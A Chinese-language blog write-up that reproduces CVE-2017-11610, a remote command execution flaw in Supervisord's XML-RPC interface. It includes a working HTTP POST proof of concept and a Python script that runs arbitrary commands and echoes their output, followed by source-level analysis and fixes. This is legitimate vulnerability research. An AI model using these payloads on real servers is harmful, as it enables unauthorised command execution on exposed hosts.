Supervisord遠程命令執行漏洞(CVE-2017-11610)復現
文章首發在安全客
https://www.anquanke.com/post/id/225451
寫在前面
因為工作中遇到了這個洞,簡單了解后發現正好是py的源碼,因此想試一下依據前輩的分析做一下簡單的代碼分析,找到漏洞點。網上已經有很多類似的文章,例如P神和綠盟的文章,這里只是自己做一下學習和復現,如有侵權或有問題的地方可以私信或評論。本人會第一時間解決。
Supervisord簡介
Supervisor 是一個用 Python 寫的進程管理工具,可以很方便的用來在 UNIX-like 系統(不支持 Windows)下啟動、重啟(自動重啟程序)、關閉進程(不僅僅是 Python 進程)
Supervisor 是一個 C/S 模型的程序,supervisord 是 server 端,supervisorctl 是 client 端,簡單理解就是client輸入supervisor的指令調用server端的API從而完成一些工作,如進程的管理。
而Supervisor的Web的服務其實很多人會用的比較多,也就是supervisord的客戶端,只要路由通,即可遠程通過Web頁面完成類似於supervisor的client端的操作。而通過Web界面的操作由XML-RPC接口實現,該漏洞也是出在XML-RPC接口對數據的處理上。
本次下載的是3.3.2版本的源碼
鏈接:https://pypi.org/project/supervisor/3.3.2/#files
先簡單看一下它的配置文件,重點看下面這些部分
[unix_http_server]
file=/tmp/supervisor.sock ; the path to the socket file
;chmod=0700 ; socket file mode (default 0700)
;chown=nobody:nogroup ; socket file uid:gid owner
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
;[inet_http_server] ; inet (TCP) server disabled by default
;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris ; should be same as in [*_http_server] if set
;password=123 ; should be same as in [*_http_server] if set
;prompt=mysupervisor ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history ; use readline history if available
; The sample program section below shows all possible program subsection values.
; Create one or more 'real' program: sections to be able to control them under
; supervisor.
server端監聽的是/tmp/supervisor.sock這個套接字,而client端的serverurl也是這個套接字,所以client端都是通過這個套接字並根據XML-RPC協議與server端進行的通信。另外,將 [inrt_http_server]
中前面 ;
去掉即可開啟Web服務,默認以TCP協議監聽在9001端口上。(下面不開啟用戶密碼認證,bind 所有網卡)
supervisor的web界面大概長這樣。
利用條件
漏洞影響范圍:
Supervisor version 3.1.2至Supervisor version 3.3.2
開啟Web服務且9001端口可被訪問
版本在漏洞影響范圍內
密碼為弱密碼或空口令
漏洞利用
放上P牛的poc
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
訪問頁面抓包,cv這個poc進去,根據自己的環境稍作修改之后放包即可。
成功寫入文件
wireshark的包
但是上面版本的poc是沒有回顯的。關於回顯poc在vulhub的官方文檔有提到
https://vulhub.org/#/environments/supervisor/CVE-2017-11610/
利用方式如下。
poc.py
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
這個點本文就不再重點探究,下面主要復現學習分析一下這個漏洞在代碼層面上是如何產生的。
漏洞分析
既然知道是XML-RPC出了問題,那么通過程序入口點然后一點點去找處理XML-RPC請求的函數,看看它是如何實現的。
先看supervisord的啟動文件supervisord.py
根據前輩的poc是根據http請求發送的payload,所以跟進一下這里的 self.options.openhttpservers(self)
在options.py中定義了openhttpservers()
方法
這里調用了 make_http_servers()
方法,跟進一下
在ServerOptions類中定義了make_http_servers()
方法,可以看到這個方法是從http.py中調用的,那么跟進看一下這個方法是如何實現的。
http.py中定義了 make_http_servers()
方法
根據漏洞信息,已知是XML-RPC調用出現了問題,而 supervisor_xmlrpc_handler
類就是處理RPC調用的,跟進看一下是如何實現的
在xmlrpc.py中定義了supervisor_xmlrpc_handler
類
在此找到了漏洞紕漏的traverse方法,在supervisor_xmlrpc_handler
類中定義了 call
方法,該方法返回執行完 traverse(self.rpcinterface, method, params)
函數的結果,
其中在traverse函數中傳入了method,params ,跟進一下看看這兩個參數是什么。
在supervisor_xmlrpc_handler
類的 continue_request
方法中發現 params, method = self.loads(data)
跟進下 loads
方法。
在xmlrpc.py的最下面定義了loads
方法,其將xml中的methodName和params的值分別賦值給了method和params,也就是我們上面漏洞利用過程發送POST請求時,POST請求中xml的標簽名為methodName和params這兩個標簽的值。
比如下圖中的method=supervisor.supervisord.options.warnings.linecache.os.system
和 params=touch /tmp/success2
,正常情況下,methodName=supervisor.startProcess
,params=要啟動的服務名稱
ok,method和params參數的含義解決了,下面跟進下traverse方法。
1、path = method.split('.')
以 .
作為分隔符對method字符串進行切片,切片的結果以列表形式賦值給path。例如 supervisor.startProcess
的結果為 ['supervisor', 'startProcess']
2、循環path,如果name的值不以 _
開頭,執行 ob = getattr(ob, name, None)
, 如果name的值是方法名稱,會將該方法賦值給ob。這里的for循環就像一個遞歸,ob會獲取method列表中最后一個方法名稱並在try語句里執行,比如method=supervisor.supervisord.options.warnings.linecache.os.system()
那么最后ob會獲取system()
並將參數params
(要執行的命令)帶入該方法執行並獲取返回結果。
那么問題就出現在這里,在P牛的文章中也指出了:"官方開發者可能認為可調用的方法只限制在這個對象內部,所以沒有做特別嚴格的白名單限制。" ,導致這里通過 self.rpcinterface
對任意的公共方法或遞歸子對象的公共方法的調用。
比如漏洞的發現者提出的調用鏈 self.rpcinterface.supervisor.supervisord.options.execve
,因為這個poc使用時存在一些缺陷,P牛提出了一個其他的利用鏈(日常膜P牛): supervisor.supervisord.options.warnings.linecache.os.system()
這邊跟一下看看:
首先在Options類中調用了warnings方法,跟進一下。
emm 這里發現本來在上面直接import linecache 改到了 try里面,當時存在漏洞的代碼是直接在上面import linecache的
跟進linecache,在linecache.py調用os
這個漏洞與java反序列化類似,只要一直尋找有import os模塊的地方調用system函數即可達到執行命令的目的。
修復建議
1、升級supervisor版本
2、設置端口訪問控制
3、設置復雜密碼認證
參考文章
補上當時忘記貼的參考文章
https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html